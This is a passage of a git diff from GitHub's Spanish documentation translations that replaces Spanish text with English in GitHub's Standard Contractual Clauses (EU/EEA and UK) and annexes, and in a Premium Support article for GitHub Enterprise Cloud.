          Address: 88 Colin P Kelly Jr St, San Francisco, CA 94107, USA
          Contact person’s name, position and contact details: Frances Wiet, Head of Privacy, fwiet@github.com
          Activities relevant to the data transferred under these Clauses:
          GitHub, Inc. is a global producer of software and services
          Signature and date: see GitHub Customer Agreement (the DPA and the Standard Contractual Clauses (EU/EEA) are incorporated into the GitHub Customer Agreement)
          Role (controller/processor): processor or, depending on the agreements set forth in the Customer Agreement, subprocessor. +**Data exporter(s)**: Customer is the data exporter
          +Name: see GitHub Customer Agreement
          +Address: see GitHub Customer Agreement
          +Contact person’s name, position and contact details: see GitHub Customer Agreement
          +Activities relevant to the data transferred under these Clauses:
          +The data exporter is a user of Online Services or Professional Services as defined in the DPA and GitHub Customer Agreement.
          +Signature and date: see GitHub Customer Agreement (the DPA and the Standard Contractual Clauses (EU/EEA) are incorporated into the GitHub Customer Agreement
          +Role (controller/processor): controller (unless otherwise agreed in the Customer Agreement).
          +**Data importer(s)**:
          +Name: GitHub, Inc.
          +Address: 88 Colin P Kelly Jr St, San Francisco, CA 94107, USA
          +Contact person’s name, position and contact details: Frances Wiet, Head of Privacy, fwiet@github.com
          +Activities relevant to the data transferred under these Clauses:
          +GitHub, Inc. is a global producer of software and services
          +Signature and date: see GitHub Customer Agreement (the DPA and the Standard Contractual Clauses (EU/EEA) are incorporated into the GitHub Customer Agreement)
          +Role (controller/processor): processor or, depending on the agreements set forth in the Customer Agreement, subprocessor. + ### B. DESCRIPTION OF TRANSFER _Categories of data subjects whose personal data is transferred:_ Data subjects include the data exporter’s representatives and end-users including employees, contractors, collaborators, and customers of the data exporter. Data subjects may also include individuals attempting to communicate or transfer personal data to users of the services provided by data importer. GitHub acknowledges that, depending on Customer’s use of the Online Service or Professional Services, Customer may elect to include personal data from any of the following types of data subjects in the personal data: -- Empleados, consultores y trabajadores temporales (actuales, previos o futuros) del exportador de los datos; -- Consultores/personas de contacto del exportador de datos (personas naturales) o los empleados, consultores o trabajadores temporales de la entidad legal de las personas de contacto/consultores (actuales, futuros, pasados); +- Employees, contractors and temporary workers (current, former, prospective) of data exporter; +- Data exporter's collaborators/contact persons (natural persons) or employees, contractors or temporary workers of legal entity collaborators/contact persons (current, prospective, former); - Users and other data subjects that are users of data exporter's services; - Partners, stakeholders or individuals who actively collaborate, communicate or otherwise interact with employees of the data exporter and/or use communication tools such as apps and websites provided by the data exporter. @@ -607,7 +636,7 @@ The personal data transferred that is included in e-mail, documents and other da - Authentication data (for example user name, password or PIN code, security question, audit trail); - Contact information (for example addresses, email, phone numbers, social media identifiers; emergency contact details); - Unique identification numbers and signatures (for example IP addresses, employee number, student number); -- Pseudonymous identifiers; +- Pseudonymous identifiers; - Photos, video and audio; - Internet activity (for example browsing history, search history, reading and viewing activities); - Device identification (for example IMEI-number, SIM card number, MAC address); @@ -615,7 +644,9 @@ The personal data transferred that is included in e-mail, documents and other da - Special categories of data as voluntarily provided by data subjects (for example racial or ethnic origin, political opinions, religious or philosophical beliefs, trade union membership, genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health, data concerning a natural person’s sex life or sexual orientation, or data relating to criminal convictions or offences); or - Any other personal data identified in Article 4 of the GDPR. -_**Sensitive data** transferred (if applicable) and applied restrictions or safeguards that fully take into consideration the nature of the data and the risks involved, such as for instance strict purpose limitation, access restrictions (including access only for staff having followed specialised training), keeping a record of access to the data, restrictions for onward transfers or additional security measures:_
          GitHub does not request or otherwise ask for sensitive data and receives such data only if and when customers or data subjects decide to provide it. +_**Sensitive data** transferred (if applicable) and applied restrictions or safeguards that fully take into consideration the nature of the data and the risks involved, such as for instance strict purpose limitation, access restrictions (including access only for staff having followed specialised training), keeping a record of access to the data, restrictions for onward transfers or additional security measures:_
          +GitHub does not request or otherwise ask for sensitive data and receives such +data only if and when customers or data subjects decide to provide it. _**The frequency of the transfer** (e.g. whether the data is transferred on a one-off or continuous basis):_ @@ -623,7 +654,7 @@ Continuous as part of the Online Services or Professional Services. _**Nature of the processing:**_ -The personal data transferred will be subject to the following basic processing activities: +The personal data transferred will be subject to the following basic processing activities:
          1. Duration and Object of Data Processing. The duration of data processing shall be for the term designated under the applicable GitHub Customer Agreement between data exporter and the data importer. The objective of the data processing is the performance of Online Services and Professional Services.
          2. Personal Data Access. For the term designated under the applicable GitHub Customer Agreement, data importer will, at its election and as necessary under applicable law, either: (1) provide data exporter with the ability to correct, delete, or block personal data, or (2) make such corrections, deletions, or blockages on its behalf.
            3. @@ -646,7 +677,8 @@ In accordance with the DPA, the data importer may hire other companies to provid _Identify the competent supervisory authority/ies in accordance with Clause 13:_ -The supervisory authority with responsibility for ensuring compliance by the data exporter with Regulation (EU) 2016/679.   +The supervisory authority with responsibility for ensuring compliance by the data exporter with Regulation (EU) 2016/679. +  ## ANNEX II **to the Standard Contractual Clauses (EU/EEA)** @@ -678,14 +710,14 @@ _For transfers to (sub-) processors, also describe the specific technical and or The data importer has a vendor risk assessment process, vendor contract clauses and additional data protection agreements with vendors. Vendors undergo reassessment when a new business use case is requested. The data importer’s vendor risk program is structured so all of data importer’s vendors' risk assessments are refreshed two years from the last review date. Vendors deemed high risk, such as data center providers or other vendors storing or processing data in scope for the data importer’s regulatory or contractual requirements, undergo reassessment annually. - + ## ANNEX III **to the Standard Contractual Clauses (EU/EEA)** **Additional Safeguards Addendum** -By this Additional Safeguards Addendum to Standard Contractual Clauses (EU/EEA) (this “Addendum”), GitHub, Inc. (“GitHub”) provides additional safeguards to Customer and additional redress to the data subjects to whom Customer’s personal data relates. +By this Additional Safeguards Addendum to Standard Contractual Clauses (EU/EEA) (this “Addendum”), GitHub, Inc. (“GitHub”) provides additional safeguards to Customer and additional redress to the data subjects to whom Customer’s personal data relates. This Addendum supplements and is made part of, but is not in variation or modification of, the Standard Contractual Clauses (EU/EEA). @@ -714,15 +746,15 @@ This Addendum supplements and is made part of, but is not in variation or modifi

            Attachment 2 – The Standard Contractual Clauses (UK)

            -Execution of the GitHub Customer Agreement by Customer includes execution of this Attachment 2, which is countersigned by GitHub, Inc. +Execution of the GitHub Customer Agreement by Customer includes execution of this Attachment 2, which is countersigned by GitHub, Inc. -En los países donde se requiera de aprobación regulatoria para utilizar las Cláusulas Contractuales Estándar, no se podrá depender de éstas bajo la Comisión Europea 2010/87/EU (de febrero de 2010) para legitimar la exportación de datos del país en cuestión, a menos de que el cliente tenga la aprobación regulatoria requerida. +In countries where regulatory approval is required for use of the Standard Contractual Clauses, the Standard Contractual Clauses cannot be relied upon under European Commission 2010/87/EU (of February 2010) to legitimize export of data from the country, unless Customer has the required regulatory approval. Beginning May 25, 2018 and thereafter, references to various Articles from the Directive 95/46/EC in the Standard Contractual Clauses below will be treated as references to the relevant and appropriate Articles in the GDPR. For the purposes of Article 26(2) of Directive 95/46/EC for the transfer of personal data to processors established in third countries which do not ensure an adequate level of data protection, Customer (as data exporter) and GitHub, Inc. (as data importer, whose signature appears below), each a “party,” together “the parties,” have agreed on the following Contractual Clauses (the “Clauses” or “Standard Contractual Clauses”) in order to adduce adequate safeguards with respect to the protection of privacy and fundamental rights and freedoms of individuals for the transfer by the data exporter to the data importer of the personal data specified in Appendix 1. -### Cláusula 1: Definiciones +### Clause 1: Definitions
            1. 'personal data', 'special categories of data', 'process/processing', 'controller', 'processor', 'data subject' and 'supervisory authority' shall have the same meaning as in Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data;
              2. @@ -733,22 +765,22 @@ For the purposes of Article 26(2) of Directive 95/46/EC for the transfer of pers
            2. 'technical and organisational security measures' means those measures aimed at protecting personal data against accidental or unlawful destruction or accidental loss, alteration, unauthorised disclosure or access, in particular where the processing involves the transmission of data over a network, and against all other unlawful forms of processing.
            -### Cláusula 2: Detalles de la transferencia +### Clause 2: Details of the transfer -Los detalles de la transferencia y, en particular, de las categorías especiales de datos personales en donde sean aplicables se especifican en el Apéndice 1 que se encuentra más adelante, el cual forma una parte integral de las Cláusulas. +The details of the transfer and in particular the special categories of personal data where applicable are specified in Appendix 1 below which forms an integral part of the Clauses. -### Cláusula 3: Cláusula de beneficiario tercero +### Clause 3: Third-party beneficiary clause
              -
            1. El titular de los datos podrá hacer valer la ley contra el exportador de datos en esta Cláusula, la Cláusula 4(b) a (i), la Cláusula 5(a) a (e), y de (g) a (j), la Cláusula 6(1) y (2), la Cláusula 8(2), y las Cláusulas 9 a 12 como beneficiario tercero.
              2. -
            2. El titular de los datos podrá hacer valer la ley contra el importador de datos en esta Cláusula, la Cláusula 5(a) a (e) y (g), la Cláusula 6, Cláusula 7, Clúsula 8(2) y las Cláusulas 9 a 12, en los casos en donde el exportador de los datos haya desaparecido realmente o haya dejado de existir en la ley a menos de que alguna entidad de sucesión haya asumido las obligaciones legales integrales del exportador de datos mediante onctrato o mediante la operación legal, como resultado de que lo que asume en los derechos y obligaciones del exportador de datos, en cuyo caso, el titular de los datos podrá hacer valor esto contra dicha entidad.
              3. -
            3. El sujeto de los datos puede aplicar la ley en contra del subprocesador de esta Cláusula, la Cláusula 5(a) a (e) y (g), Cláusula 6, Cláusula 7, Cláusula 8(2) y Cláusulas 9 a 12, en casos en donde tanto el exportador como el importador de los datos hayan desaparecido realmente o dejado de existir en la ley o se hayan declarado insolventes, a menos de que cualquier entidad sucesora haya asumido todas las obligaciones del exportador de los datos contractualmente o conforme a derecho que resulte en la toma de derchos y obligaciones del exportador de datos, en cuyo caso, el titular de los datos puede aplicar la ley en contra de dicha entidad. Dicha responsabilidad de terceros del subprocesador se limitará a sus propias operaciones de procesamiento bajo las Cláusulas.
              4. -
            4. Las partes no se oponen a que un titular de los datos se represente mediante una asociación o cualquier otro cuerpo si dicho titular así lo desea expresamente y si la ley nacional lo permite.
              5. +
            5. The data subject can enforce against the data exporter this Clause, Clause 4(b) to (i), Clause 5(a) to (e), and (g) to (j), Clause 6(1) and (2), Clause 7, Clause 8(2), and Clauses 9 to 12 as third-party beneficiary.
              6. +
            6. The data subject can enforce against the data importer this Clause, Clause 5(a) to (e) and (g), Clause 6, Clause 7, Clause 8(2), and Clauses 9 to 12, in cases where the data exporter has factually disappeared or has ceased to exist in law unless any successor entity has assumed the entire legal obligations of the data exporter by contract or by operation of law, as a result of which it takes on the rights and obligations of the data exporter, in which case the data subject can enforce them against such entity.
              7. +
            7. The data subject can enforce against the subprocessor this Clause, Clause 5(a) to (e) and (g), Clause 6, Clause 7, Clause 8(2), and Clauses 9 to 12, in cases where both the data exporter and the data importer have factually disappeared or ceased to exist in law or have become insolvent, unless any successor entity has assumed the entire legal obligations of the data exporter by contract or by operation of law as a result of which it takes on the rights and obligations of the data exporter, in which case the data subject can enforce them against such entity. Such third-party liability of the subprocessor shall be limited to its own processing operations under the Clauses.
              8. +
            8. The parties do not object to a data subject being represented by an association or other body if the data subject so expressly wishes and if permitted by national law.
            -### Cláusula 4: Las obligaciones del exportador de los datos +### Clause 4: Obligations of the data exporter -El exportador de los datos acuerda y garantiza: +The data exporter agrees and warrants:
            1. that the processing, including the transfer itself, of the personal data has been and will continue to be carried out in accordance with the relevant provisions of the applicable data protection law (and, where applicable, has been notified to the relevant authorities of the Member State where the data exporter is established) and does not violate the relevant provisions of that State;
              2. @@ -763,9 +795,9 @@ El exportador de los datos acuerda y garantiza:
            2. that it will ensure compliance with Clause 4(a) to (i).
            -### Cláusula 5: Obligaciones del importador de los datos +### Clause 5: Obligations of the data importer -El importador de los datos acuerda y garantiza: +The data importer agrees and warrants:
            1. to process the personal data only on behalf of the data exporter and in compliance with its instructions and the Clauses; if it cannot provide such compliance for whatever reasons, it agrees to inform promptly the data exporter of its inability to comply, in which case the data exporter is entitled to suspend the transfer of data and/or terminate the contract;
              2. @@ -785,74 +817,75 @@ El importador de los datos acuerda y garantiza:
            2. to send promptly a copy of any subprocessor agreement it concludes under the Clauses to the data exporter.
            -### Cláusula 6: Responsabilidades +### Clause 6: Liability
              -
            1. Las partes concuerdan que cualquier titular de los datos que haya sufrido daños como resultado de cualquier violación a las obligaciones descritas en la Cláusula 3 o en la Cláusula 11 por parte de cualquier subprocesador tiene derecho a recibir una compensación del exportador de los datos por dicho daño sufrido.
              2. +
            2. The parties agree that any data subject who has suffered damage as a result of any breach of the obligations referred to in Clause 3 or in Clause 11 by any party or subprocessor is entitled to receive compensation from the data exporter for the damage suffered.
              3. -
            3. Si algún titular de los datos no puede presentar un reclamo de indemnización en contra del exportador de los datos de acuerdo con el párrafo 1, la cual se derive de una violación por parte del importador de los datos o de su subprocesador o de cualquiera de sus obligaciones que se describen en la Cláusula 3, o en la Cláusula 11, debido a que el exportador de los datos ha desaparecido realmente o dejado de existir ante la ley, o se haya declarado insolvente, el importador de los datos acuerda que el titular de los datos puede emitir un reclamo contra este como si fuera el exportador de los mismos, a menos de que alguna entidad sucesora haya asumido las obligaciones legales íntegras del exportador de los datos contractualmente o mediante la aplicación de la ley, en cuyo caso, el sujeto de los datos puede hacer valer sus derechos contra dicha entidad.

              El importador de los datos no podrá depender en argumentar una violación mediante un procesador de sus obligaciones para evitar sus propias responsabilidades.
              4. +
            4. If a data subject is not able to bring a claim for compensation in accordance with paragraph 1 against the data exporter, arising out of a breach by the data importer or his subprocessor of any of their obligations referred to in Clause 3 or in Clause 11, because the data exporter has factually disappeared or ceased to exist in law or has become insolvent, the data importer agrees that the data subject may issue a claim against the data importer as if it were the data exporter, unless any successor entity has assumed the entire legal obligations of the data exporter by contract of by operation of law, in which case the data subject can enforce its rights against such entity.

              + The data importer may not rely on a breach by a subprocessor of its obligations in order to avoid its own liabilities.
              5. -
            5. Si un titular de los datos no puede presentar un reclamo en contra del exportador o importador de los datos a los cuales se hace referencia en los párrafos 1 y 2, derivado de una violación por parte del subprocesador o por cualquiera de sus obligaciones explicadas en la Cláusula 2 o en la Cláusula 11 ya que ambos, importador y exportador, hayan desaparecido realmente o dejado de existir ante la ley, o se hayan declarado insolventes, el subprocesador acuerda que el titular de los datos podrá emitir un reclamo contra el subprocesador de los datos con respecto a sus propias operaciones de procesamiento bajo las Cláusulas como si fuera el exportador o importador de los mismos, a menos de que cualquier entidad sucesora haya asumido las obligaciones íntegras del exportador o importador de los datos contractualmente o por aplicación de la ley, en cuyo caso, el titular de los datos puede hacer valer sus derechos en contra de dicha entidad. La responsabilidad del subprocesador deberá limitarse a sus propias operaciones de procesamiento bajo las Cláusulas.
              6. +
            6. If a data subject is not able to bring a claim against the data exporter or the data importer referred to in paragraphs 1 and 2, arising out of a breach by the subprocessor of any of their obligations referred to in Clause 3 or in Clause 11 because both the data exporter and the data importer have factually disappeared or ceased to exist in law or have become insolvent, the subprocessor agrees that the data subject may issue a claim against the data subprocessor with regard to its own processing operations under the Clauses as if it were the data exporter or the data importer, unless any successor entity has assumed the entire legal obligations of the data exporter or data importer by contract or by operation of law, in which case the data subject can enforce its rights against such entity. The liability of the subprocessor shall be limited to its own processing operations under the Clauses.
            -### Cláusula 7: Mediación y Jurisdicción +### Clause 7: Mediation and jurisdiction
              -
            1. El iimportador de los datos acuerda que si el titular de los datos apelase en contra de sus derechos de beneficiario tercero y/o reclama una compensación por daños bajo las Cláusulas, el importador de los datos aceptará la decisión del titular de los datos: +
            2. The data importer agrees that if the data subject invokes against it third-party beneficiary rights and/or claims compensation for damages under the Clauses, the data importer will accept the decision of the data subject:
              1. to refer the dispute to mediation, by an independent person or, where applicable, by the supervisory authority;
              2. to refer the dispute to the courts in the Member State in which the data exporter is established.
              -
            3. Las partes acuerdan que la elección que haga el titular de los datos no perjudicará sus derechos sustantivos o procesales para buscar remedios de acuerdo con otras disposiciones de la ley internacional o nacional. +
            4. The parties agree that the choice made by the data subject will not prejudice its substantive or procedural rights to seek remedies in accordance with other provisions of national or international law.
            -### Cláusula 8: Cooperación con las autoridades supervisantes +### Clause 8: Cooperation with supervisory authorities
              -
            1. El exportador de los datos acuerda depositar una copia de este contrato con la autoridad supervisora si así lo requiere o si dicho depósito se requiere bajo la ley de protección de datos aplicable.
              2. +
            2. The data exporter agrees to deposit a copy of this contract with the supervisory authority if it so requests or if such deposit is required under the applicable data protection law.
              3. -
            3. Las partes concuerdan que la autoridad supervisora tiene el derecho de conducir una auditoría del importador de los datos, y de cualquier subprocesador, la cual tiene el mismo alcance y está sujeta a las mismas condiciones que aplcarían en una auditoría del exportador de los datos bajo la ley de protección de datos aplicable.
              4. +
            4. The parties agree that the supervisory authority has the right to conduct an audit of the data importer, and of any subprocessor, which has the same scope and is subject to the same conditions as would apply to an audit of the data exporter under the applicable data protection law.
              5. -
            5. El importador de los datos deberá informar de manera oportuna al exportador de los datos acerca de la existencia de la legislación aplicable a éste o a cualquier subprocesador, previniendo la conducción de una auditoría al importador de los datos o a cualquier subprocesador de acuerdo con el párrafo 2. En tal caso, el exportador de datos tendrá derecho de tomar las medidas previstas en la Cláusula 5 (b).
              6. +
            6. The data importer shall promptly inform the data exporter about the existence of legislation applicable to it or any subprocessor preventing the conduct of an audit of the data importer, or any subprocessor, pursuant to paragraph 2. In such a case the data exporter shall be entitled to take the measures foreseen in Clause 5 (b).
            -### Cláusula 9: Ley Aplicable. +### Clause 9: Governing Law. -Las Cláusulas deberán regirse por medio de la ley del Estado Miembro en el cual se establece el exportador de los datos. +The Clauses shall be governed by the law of the Member State in which the data exporter is established. -### Cláusula 10: Variación del contrato +### Clause 10: Variation of the contract -Las partes se comprometen a no variar o modificar las Cláusulas. Esto no impide que las partes agreguen cláusulas sobre los asuntos relacionados con los negocios conforme se requieran mientras que éstas no contradigan la Cláusula. +The parties undertake not to vary or modify the Clauses. This does not preclude the parties from adding clauses on business related issues where required as long as they do not contradict the Clause. -### Cláusula 11: Subprocesamiento +### Clause 11: Subprocessing
              -
            1. El importador de los datos no deberá subcontratar ninguna de sus operaciones de procesamiento que se realicen en nombre del exportador de los datos bajo las Cláusulas sin el consentimiento previo y por escrito del exportador de los datos. En caso de que el importador de los datos subcontrate sus obligaciones debajo de las Cláusulas, con el consentimiento del exportador de los datos, deberá hacerlo únicamente por medio de un contrato por escrito con el subprocesador, el cual imponga las mismas obligaciones en el subprocesador que se impusieron en el importador de los datos bajo las Cláusulas. Donde sea que el subprocesador incumpla con sus obligaciones de protección de datos bajo dicho contrato por escrito, el importador de los datos deberá ser plenamente responsable del exportador de los datos por el cumplimiento de las obligaciones del subprocesador bajo dicho contrato.
              2. +
            2. The data importer shall not subcontract any of its processing operations performed on behalf of the data exporter under the Clauses without the prior written consent of the data exporter. Where the data importer subcontracts its obligations under the Clauses, with the consent of the data exporter, it shall do so only by way of a written agreement with the subprocessor which imposes the same obligations on the subprocessor as are imposed on the data importer under the Clauses. Where the subprocessor fails to fulfil its data protection obligations under such written agreement the data importer shall remain fully liable to the data exporter for the performance of the subprocessor's obligations under such agreement.
              3. -
            3. El contrato escrito previo entre el importador de los datos y el subprocesador también deberá proporcionar una cláusula de terceros beneficiarios de acuerdo con lo asentado en la Cláusula 3 para los casos en donde el titular de los datos no pueda preentar una reclamación de compensación como se refiere en el párrafo 1 de la Cláusula 6 en contra del exportador o del importador de los datos debido a que han desaparecido realmente o han dejado de existir ante la ley o se hayan declarado insolventes y ninguna entidad sucesora haya asumido las obligaciones legales íntegras del exportador o importador de los datos contractualmente o mediante la ley aplicable. Dicha responsabilidad de terceros del subprocesador se limitará a sus propias operaciones de procesamiento bajo las Cláusulas.
              4. +
            4. The prior written contract between the data importer and the subprocessor shall also provide for a third-party beneficiary clause as laid down in Clause 3 for cases where the data subject is not able to bring the claim for compensation referred to in paragraph 1 of Clause 6 against the data exporter or the data importer because they have factually disappeared or have ceased to exist in law or have become insolvent and no successor entity has assumed the entire legal obligations of the data exporter or data importer by contract or by operation of law. Such third-party liability of the subprocessor shall be limited to its own processing operations under the Clauses.
              5. -
            5. Las disposiciones que se relacionan con los aspectos de protección de datos para el subprocesamiento del cntracto al cual se refiere en el párrafo 1 deberán regirse por la ley del Estado Miembro en el cual se establezca el exportador de los datos.
              6. +
            6. The provisions relating to data protection aspects for subprocessing of the contract referred to in paragraph 1 shall be governed by the law of the Member State in which the data exporter is established.
              7. -
            7. El exportador de los datos deberá mantener una lista de contratos de subprocesamiento que se celebren bajo las Cláusulas y que el importador de los datos notifique de acuerdo con la Cláusula 5 (j), la cual se debe actualizar por lo menos una vez al año. La lista deberá estar disponible para la autoridad supervisora de protección de datos del exportador de los datos.
              8. +
            8. The data exporter shall keep a list of subprocessing agreements concluded under the Clauses and notified by the data importer pursuant to Clause 5 (j), which shall be updated at least once a year. The list shall be available to the data exporter's data protection supervisory authority.
            -### Cláusula 12: Obligaciones después de la terminación de los servicios de procesamiento de datos personales +### Clause 12: Obligation after the termination of personal data processing services
              -
            1. Las partes acuerdan que, en la terminación de la prestación de los servicios de procesamiento de datos, el importador y subprocesador de los mismos deberá, a elección del exportador, regresar todos los datos personales transferidos y las copias de los mismos al exportador de los datos o deberá destruir todos los dtos personales y certificar ante el exportador de los datos que así lo ha hecho, a menos de que la legislación impuesta en el importador de los datos impida que regrese o destrulla todos o parte de los datos personales transferidos. En dado caso, el importador de los datos justifica que garantizará la confidencialidad de los datos personales transferidos y que ya no procesará activamente dichos datos personales.
              2. +
            2. The parties agree that on the termination of the provision of data processing services, the data importer and the subprocessor shall, at the choice of the data exporter, return all the personal data transferred and the copies thereof to the data exporter or shall destroy all the personal data and certify to the data exporter that it has done so, unless legislation imposed upon the data importer prevents it from returning or destroying all or part of the personal data transferred. In that case, the data importer warrants that it will guarantee the confidentiality of the personal data transferred and will not actively process the personal data transferred anymore.
              3. -
            3. El importador de los datos y el subprocesador garantizan que, bajo solicitud del exportador de los datos y/o de la autoridad supervisora, emitirán sus instalaciones de procesamiento de datos para auditoría de las medidas descritas en el párrafo 1.
              4. +
            4. The data importer and the subprocessor warrant that upon request of the data exporter and/or of the supervisory authority, it will submit its data processing facilities for an audit of the measures referred to in paragraph 1.
            ### Appendix 1 to the Standard Contractual Clauses (UK) -**Data exporter**: Customer is the data exporter. The data exporter is a user of Online Services or Professional Services as defined in the DPA and GitHub Customer Agreement. +**Data exporter**: Customer is the data exporter. The data exporter is a user of Online Services or Professional Services as defined in the DPA and GitHub Customer Agreement. -**Data importer**: The data importer is GitHub, Inc., a global producer of software and services. +**Data importer**: The data importer is GitHub, Inc., a global producer of software and services. **Data subjects**: Data subjects include the data exporter’s representatives and end-users including employees, contractors, collaborators, and customers of the data exporter. Data subjects may also include individuals attempting to communicate or transfer personal data to users of the services provided by data importer. GitHub acknowledges that, depending on Customer’s use of the Online Service or Professional Services, Customer may elect to include personal data from any of the following types of data subjects in the personal data: -- Empleados, consultores y trabajadores temporales (actuales, previos o futuros) del exportador de los datos; -- Consultores/personas de contacto del exportador de datos (personas naturales) o los empleados, consultores o trabajadores temporales de la entidad legal de las personas de contacto/consultores (actuales, futuros, pasados); +- Employees, contractors and temporary workers (current, former, prospective) of data exporter; +- Data exporter's collaborators/contact persons (natural persons) or employees, contractors or temporary workers of legal entity collaborators/contact persons (current, prospective, former); - Users and other data subjects that are users of data exporter's services; - Partners, stakeholders or individuals who actively collaborate, communicate or otherwise interact with employees of the data exporter and/or use communication tools such as apps and websites provided by the data exporter. @@ -861,7 +894,7 @@ Las partes se comprometen a no variar o modificar las Cláusulas. Esto no impide - Authentication data (for example user name, password or PIN code, security question, audit trail); - Contact information (for example addresses, email, phone numbers, social media identifiers; emergency contact details); - Unique identification numbers and signatures (for example IP addresses, employee number, student number); -- Pseudonymous identifiers; +- Pseudonymous identifiers; - Photos, video and audio; - Internet activity (for example browsing history, search history, reading and viewing activities); - Device identification (for example IMEI-number, SIM card number, MAC address); @@ -869,7 +902,7 @@ Las partes se comprometen a no variar o modificar las Cláusulas. Esto no impide - Special categories of data as voluntarily provided by data subjects (for example racial or ethnic origin, political opinions, religious or philosophical beliefs, trade union membership, genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health, data concerning a natural person’s sex life or sexual orientation, or data relating to criminal convictions or offences); or - Any other personal data identified in Article 4 of the GDPR. -**Processing operations**: The personal data transferred will be subject to the following basic processing activities: +**Processing operations**: The personal data transferred will be subject to the following basic processing activities:
            1. Duration and Object of Data Processing. The duration of data processing shall be for the term designated under the applicable GitHub Customer Agreement between data exporter and data importer. The objective of the data processing is the performance of Online Services and Professional Services.
              2. @@ -883,7 +916,7 @@ Las partes se comprometen a no variar o modificar las Cláusulas. Esto no impide ### Appendix 2 to the Standard Contractual Clauses (UK) -Descripción de las medidas de seguridad técnicas y organizacionales implementadas por el importador de los datos de acuerdo con las Cláusulas 4(d) y 5(c): +Description of the technical and organizational security measures implemented by the data importer in accordance with Clauses 4(d) and 5(c):
              1. Personnel. Data importer’s personnel will not process personal data without authorization. Personnel are obligated to maintain the confidentiality of any such personal data and this obligation continues even after their engagement ends.
                2. @@ -901,7 +934,7 @@ San Francisco, California 94107 USA
                **Additional Safeguards Addendum** -By this Additional Safeguards Addendum to Standard Contractual Clauses (UK) (this “Addendum”), GitHub, Inc. (“GitHub”) provides additional safeguards to Customer and additional redress to the data subjects to whom Customer’s personal data relates. +By this Additional Safeguards Addendum to Standard Contractual Clauses (UK) (this “Addendum”), GitHub, Inc. (“GitHub”) provides additional safeguards to Customer and additional redress to the data subjects to whom Customer’s personal data relates. This Addendum supplements and is made part of, but is not in variation or modification of, the Standard Contractual Clauses (UK). diff --git a/translations/es-ES/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md b/translations/es-ES/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md index 2ea264d7d0..d31732d6b3 100644 --- a/translations/es-ES/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md +++ b/translations/es-ES/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md @@ -1,6 +1,6 @@ --- -title: Acerca del Soporte prémium de GitHub para GitHub Enterprise Cloud -intro: '{% data variables.contact.premium_support %} es una oferta de soporte remunerado, adicional para clientes de {% data variables.product.prodname_ghe_cloud %}.' +title: About GitHub Premium Support for GitHub Enterprise Cloud +intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_ghe_cloud %} customers.' redirect_from: - /articles/about-github-premium-support - /articles/about-github-premium-support-for-github-enterprise-cloud @@ -9,30 +9,30 @@ versions: ghec: '*' topics: - Jobs -shortTitle: Soporte prémium de GitHub +shortTitle: GitHub Premium Support --- {% note %} -**Notas:** +**Notes:** -- Los términos del {% data variables.contact.premium_support %} están sujetos a cambios sin aviso y entraron en vigencia a partir de septiembre de 2018. +- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of September 2018. - {% data reusables.support.data-protection-and-privacy %} -- Este artículo contiene los términos de {% data variables.contact.premium_support %} para clientes de {% data variables.product.prodname_ghe_cloud %}. Es posible que los términos sean diferentes para los clientes de {% data variables.product.prodname_ghe_server %} o los clientes de {% data variables.product.prodname_enterprise %} que compran {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_ghe_cloud %} de manera conjunta. Para obtener más información, consulta "[Acerca de {% data variables.contact.premium_support %} para {% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)" y "[Acerca de {% data variables.contact.premium_support %} para {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)". +- This article contains the terms of {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %} customers. The terms may be different for customers of {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_enterprise %} customers who purchase {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} together. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)" and "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)." {% endnote %} -## Acerca de {% data variables.contact.premium_support %} +## About {% data variables.contact.premium_support %} -{% data variables.contact.premium_support %} ofrece: - - Soporte técnico por escrito, en inglés, a través del portal de soporte de 24 horas al día, 7 días a la semana. - - Soporte técnico telefónico, en inglés, 24 horas al día, 7 días a la semana. - - Un Acuerdo de nivel de servicio (SLA) con tiempos de respuesta iniciales garantizados. - - Acceso a contenido prémium. - - Revisiones de estado programadas. - - Servicios administrados. +{% data variables.contact.premium_support %} offers: + - Written support, in English, through our support portal 24 hours per day, 7 days per week + - Phone support, in English, 24 hours per day, 7 days per week + - A Service Level Agreement (SLA) with guaranteed initial response times + - Access to premium content + - Scheduled health checks + - Managed services {% data reusables.support.about-premium-plans %} @@ -42,32 +42,32 @@ shortTitle: Soporte prémium de GitHub {% data reusables.support.contacting-premium-support %} -## Horas de operación +## Hours of operation -{% data variables.contact.premium_support %} está disponible 24 horas al día, 7 días a la semana. +{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. {% data reusables.support.service-level-agreement-response-times %} -## Asignar una prioridad a un ticket de soporte +## Assigning a priority to a support ticket -Cuando contactas a {% data variables.contact.premium_support %}, puedes escoger una de cuatro prioridades para el ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, o{% data variables.product.support_ticket_priority_low %}. +When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. {% data reusables.support.github-can-modify-ticket-priority %} {% data reusables.support.ghec-premium-priorities %} -## Resolver y cerrar tickets de soporte +## 